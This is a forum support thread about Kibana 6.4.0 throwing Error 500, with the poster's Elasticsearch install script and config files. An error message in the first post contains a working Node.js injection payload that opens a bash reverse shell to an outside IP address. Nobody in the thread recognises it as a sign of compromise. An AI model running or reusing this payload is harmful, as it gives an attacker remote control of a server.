Kibana 6.4.0 Error 500

Eric_Yong · November 14, 2019, 7:16am

I have 2 clusters of ES + Kibana running, but only 1 of the cluster has problems.
Each cluster consists of 2Master, 2Data, 2 Client, and 1 Kibana. All running on EC2 (without docker or k8s)

After restarting the kibana, it will work for a while before it errors again.
Both dev tools and monitoring are not usable.

If I try to look at nodes of my ES, this error comes up

[illegal_argument_exception] failed to parse [NaNs], with { env={ AAAA="require(\"child_process\").exec(\"if [ ! -f /tmp/opwsqfah ];then touch /tmp/opwsqfah && /bin/bash -c '/bin/bash -i >& /dev/tcp/185.161.70.34/1111 0>&1'; fi\");process.exit()//" & NODE_OPTIONS="--require /proc/self/environ" } }: Check the Elasticsearch Monitoring cluster network connection or the load level of the nodes.

If I try to query something from Dev Tool, this comes up.

Debug: internal, implementation, error 
    Error: Uncaught error: Expected originalHeaders to be an object, but object given
    at setHeaders (/usr/share/kibana/src/core_plugins/elasticsearch/lib/set_headers.js:32:11)
    at getConfigForReq (/usr/share/kibana/src/core_plugins/console/index.js:91:53)
    at handler (/usr/share/kibana/src/core_plugins/console/server/proxy_route.js:113:11)
    at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)
    at Items.serial (/usr/share/kibana/node_modules/hapi/lib/handler.js:63:26)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:31:25)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:63:25)
    at pre (/usr/share/kibana/node_modules/hapi/lib/handler.js:52:24)
    at finalize (/usr/share/kibana/node_modules/hapi/lib/handler.js:281:20)
    at wrapped (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)
    at module.exports.internals.Response.internals.Response._processPrepare (/usr/share/kibana/node_modules/hapi/lib/response.js:521:16)
    at module.exports.internals.Response.internals.Response._prepare (/usr/share/kibana/node_modules/hapi/lib/response.js:460:21)
    at process.nextTick (/usr/share/kibana/node_modules/hapi/lib/reply.js:152:22)
    at _combinedTickCallback (internal/process/next_tick.js:131:7)
    at process._tickDomainCallback (internal/process/next_tick.js:218:9)

I tried querying individually to my elasticsearch servers without kibana and it worked fine.
I believe there was another post regarding the same error.

rashmi · November 14, 2019, 8:25pm

@dover any suggestions ?

I haven't seen this error before. How are you running Kibana and elasticsearch? Are either of them behind a proxy? Is there anything that might be modifying http headers? Can you share your kibana.yml and elasticsearch.yml content?

Eric_Yong · November 15, 2019, 8:40am

They are all connected via internal IP in AWS.
I installed them on the machines as is without any docker and stuff like that.

Example of one installation is as follows (from fresh instance)
Kibana has similar command, using https://artifacts.elastic.co/downloads/kibana/kibana-6.4.0-x86_64.rpm

#!/bin/bash
ulimit -n 65536
ulimit -u 65536
sysctl -w vm.max_map_count=262144
yum -y remove java-1.7.0-openjdk
yum -y install java-1.8.0-openjdk   jq  wget
rpm -i https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.0.rpm || error_exit "Failed to retrieve elasticsearch archive"
chkconfig --add elasticsearch
echo "cluster.name: sandbox-Elasticsearch-xxx
node.name: ${HOSTNAME}
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com" > /etc/elasticsearch/elasticsearch.yml
echo "elasticsearch soft memlock unlimited
elasticsearch  -  nofile  65536
elasticsearch  hard  nproc  65536
elasticsearch  soft  nproc  65536
elasticsearch hard memlock unlimited" > /etc/security/limits.conf
#install aws plugin
cd /usr/share/elasticsearch
./bin/elasticsearch-plugin install -b discovery-ec2
./bin/elasticsearch-plugin install -b repository-s3
./bin/elasticsearch-plugin install -b x-pack
cd /etc/elasticsearch
sed -i 's/-Xms.*/-Xms2G/g' jvm.options
sed -i 's/-Xmx.*/-Xmx2G/g' jvm.options
service elasticsearch start

Kibana.yml

server.name: "kibana"
server.host: "0"
elasticsearch.url: "http://internal-sandb-PrivateE-xxxxx-xxxxx.ap-southeast-1.elb.amazonaws.com:9200"

elasticsearch.yml (master node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-yyy
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: true
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

elasticsearch.yml (data node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-zzz
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: true
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

elasticsearch.yml (client node)

cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-qqq
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

rashmi · November 19, 2019, 3:42am

@joshdover cc

windonEsun · November 19, 2019, 5:51am

I also met.Kibana6.3 has the same problem.

Eric_Yong · November 20, 2019, 6:08am

still waiting for an answer!

Eric_Yong · December 3, 2019, 5:12am

oh well, i guess i won't get my answer here anymore.

system · December 31, 2019, 5:13am

This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.

Topic		Replies	Views
Kibana is disconnecting after some load into elasticsearch Kibana	12	1252	December 24, 2019
Kibana meet this error Kibana	3	849	October 12, 2018
Watcher: Error 500 Internal Server Error: An internal server error occurred Kibana	11	7829	January 9, 2018
Cluster Monitoring Error 7.12.0 Kibana elastic-stack-monitoring	2	572	May 19, 2021
[illegal_argument_exception] unknown type for collapse field `cluster_uuid`, only keywords and numbers are accepted: Check the Elasticsearch Monitoring cluster network connection or the load level of the nodes Kibana elastic-stack-monitoring	6	3282	April 21, 2020

Kibana 6.4.0 Error 500

Related topics